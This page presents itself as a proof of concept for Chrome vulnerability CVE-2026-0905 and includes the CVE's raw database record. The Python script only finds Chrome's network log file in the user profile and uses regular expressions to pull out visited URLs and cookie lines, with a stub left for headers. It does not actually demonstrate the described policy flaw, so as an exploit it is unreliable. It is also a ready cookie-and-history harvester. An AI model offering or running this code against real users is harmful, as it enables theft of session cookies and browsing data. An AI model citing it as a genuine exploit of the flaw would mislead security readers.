CVE-2026-0905

# CVE-2026-0905 PoC - Network Log File Access # This PoC demonstrates accessing Chrome network log files import os import json import sys def get_chrome_network_log_path(): """Get Chrome network log file path based on OS""" if sys.platform == 'win32': base_path = os.path.expanduser('~') log_path = os.path.join(base_path, 'AppData', 'Local', 'Google', 'Chrome', 'User Data', 'chrome_net_log.json') elif sys.platform == 'darwin': log_path = os.path.expanduser('~/Library/Application Support/Google/Chrome/chrome_net_log.json') else: log_path = os.path.expanduser('~/.config/google-chrome/chrome_net_log.json') return log_path def parse_network_log(log_file_path): """Parse Chrome network log and extract sensitive information""" sensitive_data = [] try: with open(log_file_path, 'r', encoding='utf-8') as f: log_content = f.read() # Extract URLs urls = extract_urls(log_content) # Extract headers headers = extract_headers(log_content) # Extract cookies cookies = extract_cookies(log_content) return { 'urls': urls, 'headers': headers, 'cookies': cookies } except FileNotFoundError: print(f"Log file not found: {log_file_path}") except Exception as e: print(f"Error reading log: {e}") return None def extract_urls(content): """Extract URLs from log content""" import re url_pattern = r'https?://[^\s"<>]+' return re.findall(url_pattern, content) def extract_headers(content): """Extract HTTP headers from log""" # Implementation depends on log format return [] def extract_cookies(content): """Extract cookie information""" import re cookie_pattern = r'cookie[^:]*:[^\n]+' return re.findall(cookie_pattern, content) if __name__ == '__main__': log_path = get_chrome_network_log_path() print(f"Analyzing network log: {log_path}") data = parse_network_log(log_path) if data: print(json.dumps(data, indent=2))

{"cve": {"id": "CVE-2026-0905", "sourceIdentifier": "[email protected]", "published": "2026-01-20T05:16:15.997", "lastModified": "2026-01-29T20:23:06.840", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient policy enforcement in Network in Google Chrome prior to 144.0.7559.59 allowed an attack who obtained a network log file to potentially obtain potentially sensitive information via a network log file. (Chromium security severity: Medium)"}, {"lang": "es", "value": "Aplicación insuficiente de políticas en la Red en Google Chrome anterior a 144.0.7559.59 permitió a un atacante que obtuvo un archivo de registro de red obtener potencialmente información potencialmente sensible a través de un archivo de registro de red. (Gravedad de seguridad de Chromium: Media)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "144.0.7559.59", "matchCriteriaId": "7322229C-61DF-4A91-9816-F7796F9AABCD"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "144.0.7559.60", "matchCriteriaId": "258B923C-054B-4411-9E82-36C89A6BE4C4"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/01/stable-channel-update-for-desktop_13.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/465466773", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}